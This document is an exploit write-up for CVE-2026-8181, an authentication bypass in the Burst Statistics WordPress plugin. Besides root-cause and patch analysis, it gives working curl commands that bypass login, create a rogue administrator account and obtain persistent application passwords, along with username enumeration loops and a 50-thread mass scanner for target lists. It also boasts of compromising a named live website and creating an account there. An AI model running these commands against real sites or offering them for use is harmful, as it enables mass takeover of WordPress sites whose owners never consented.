CVE-2026-8181 — Burst Statistics Authentication Bypass to Admin Account Takeover

---

📋 Vulnerability Information

Item	Detail
CVE ID	CVE-2026-8181
Plugin	Burst Statistics – Privacy-Friendly WordPress Analytics
Affected Versions	3.4.0 – 3.4.1.1
Patched Version	3.4.2
CVSS Score	9.8 (Critical)
Type	CWE-287: Improper Authentication
Attack Vector	Network / Remote / Unauthenticated
Active Installations	~200,000+
Discoverer	PRISM, Wordfence Threat Intelligence
Publication Date	May 8, 2026

---

🎯 Summary

A critical Authentication Bypass vulnerability in Burst Statistics WordPress plugin versions 3.4.0 through 3.4.1.1 allows an unauthenticated attacker to gain full WordPress administrator access simply by knowing the admin username. The consequence is complete admin account takeover, including creating new accounts, modifying content, and installing malicious plugins.

---

🔬 Technical Analysis

Root Cause

The vulnerability lies in the is_mainwp_authenticated() method in file includes/Frontend/class-mainwp-proxy.php:

// VULNERABLE CODE (v3.4.1.1)
public function is_mainwp_authenticated(): bool {
    $auth_header = sanitize_text_field(
        wp_unslash($_SERVER['HTTP_AUTHORIZATION'] ?? '')
    );

    if (!empty($auth_header) && stripos($auth_header, 'basic ') === 0) {
        $credentials = base64_decode(substr($auth_header, 6), true);
        // ... parse username:password ...

        $is_valid = wp_authenticate_application_password(null, $username, $password);
        if (is_wp_error($is_valid)) {  // ← BUG: null NOT WP_Error!
            return false;
        }
        $user = get_user_by('login', $username);  // ← Auth based solely on username!
        if (!$user || !user_can($user, 'manage_burst_statistics')) {
            return false;
        }
        wp_set_current_user($user->ID);  // ← Grant admin privileges
        return true;
    }
    return false;
}

Main bug: wp_authenticate_application_password(null, $username, $password) returns null (not WP_Error) when Application Passwords are unavailable, which occurs on:

• Sites using HTTP (not HTTPS) where wp_is_application_passwords_available() returns false
• Sites where is_ssl() returns false

Because is_wp_error(null) = false, the code proceeds to get_user_by('login', $username) which authenticates based solely on the username without any password validation.

Early Execution

The method has_admin_access() is called during the plugins_loaded hook (priority 9) in class-burst.php line 118:

if ($this->has_admin_access()) {
    $this->admin = new Admin();
    $this->admin->init();
}

This hook runs BEFORE REST API route processing, so wp_set_current_user() grants admin rights for the entire request — not just Burst endpoints.

Attack Flow

Attacker ──HTTP Request──▶ WordPress
  Headers:
    X-BURSTMAINWP: 1
    Authorization: Basic base64(admin:anything)
                │
                ▼
        [plugins_loaded hook fires]
                │
        Burst::bootstrap() → has_admin_access()
                │
        HTTP_X_BURSTMAINWP == '1' → is_mainwp_authenticated()
                │
        wp_authenticate_application_password(null, 'admin', 'anything')
                │
        HTTP site → wp_is_application_passwords_available() = false
                │
        Return null (NOT WP_Error)
                │
        is_wp_error(null) = false ← BYPASS!
                │
        get_user_by('login', 'admin') → found
                │
        wp_set_current_user(admin_id) → FULL ADMIN
                │
        has_admin_access() = true
                │
        [REST API processes request with admin context]
                │
        Attacker accesses ALL WordPress endpoints as administrator

---

💻 Proof of Concept

Prerequisites

• Target runs HTTP (not HTTPS, or SSL not properly detected)
• Burst Statistics plugin version 3.4.0 – 3.4.1.1 installed and active
• Knowledge of admin username (can be enumerated)

Installation

pip3 install requests

Usage — Single Target

# Basic scan
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin -k

# Create new admin account
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin --create-user -k

# With custom username
python3 exploit_CVE-2026-8181.py -u http://target.com -U administrator -k

Usage — Multi Target (Mass Scanner)

python3 poc_CVE-2026-8181.py

Interactive mode:

1. Input target list file (.txt, one domain per line)
2. Set thread count (default: 50)
3. Set new account credentials
4. Run scan

Format targets.txt:

target1.com
target2.com
192.168.1.100
subdomain.example.org

Minimal PoC (curl)

# Step 1: Verify auth bypass
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:anything' | base64)" \
  "http://target.com/?rest_route=/wp/v2/users/me&context=edit"

# Step 2: Create new administrator account
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
  -H "Content-Type: application/json" \
  -X POST \
  "http://target.com/?rest_route=/wp/v2/users" \
  -d '{"username":"hacker","password":"P@ssw0rd!","email":"[email protected]","roles":["administrator"]}'

# Step 3: Get Application Password (persistent credentials)
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
  -H "Content-Type: application/json" \
  -X POST \
  "http://target.com/?rest_route=/burst/v1/mainwp-auth" \
  -d '{}'

Admin Username Enumeration

# Method 1: REST API
curl -s "http://target.com/wp-json/wp/v2/users" | jq '.[].slug'

# Method 2: Fallback route
curl -s "http://target.com/?rest_route=/wp/v2/users" | jq '.[].slug'

# Method 3: Author enumeration
for i in $(seq 1 5); do
  curl -s -o /dev/null -w "%{redirect_url}\n" "http://target.com/?author=$i"
done

---

✅ Validation Results

Testing performed on WordPress 6.9 with Burst Statistics 3.4.1.1 (localhost):

Test	Result	Evidence
Access /wp/v2/users/me without auth	FAILED	rest_not_logged_in
Access with bypass headers	SUCCESS	Admin profile + email + roles
Create new administrator account	SUCCESS	User ID 2, role: administrator
Read WordPress settings	SUCCESS	Site title, admin email, URL
Get Application Password	SUCCESS	Base64 token admin:password
List installed plugins	SUCCESS	Full list with versions

Live Target Validation

Target	Result
ausdermitte-binz.de	SUCCESSFULLY PWNED — Burst 3.4.1.1, bypass via binzwpadmin, account xenon1337 created (ID:30)

---

🔧 Patch Analysis (v3.4.2)

The fix in version 3.4.2 addresses several issues:

1. Correct return type check:

// PATCHED
$authenticated_user = wp_authenticate_application_password(null, $parts[0], $parts[1]);
if (!$authenticated_user instanceof \WP_User) {  // ← Check for WP_User, not !WP_Error
    return false;
}

2. Force Application Passwords availability:

$allow = static function(): bool { return true; };
add_filter('application_password_is_api_request', $allow, 999);
// ... authenticate ...
remove_filter('application_password_is_api_request', $allow, 999);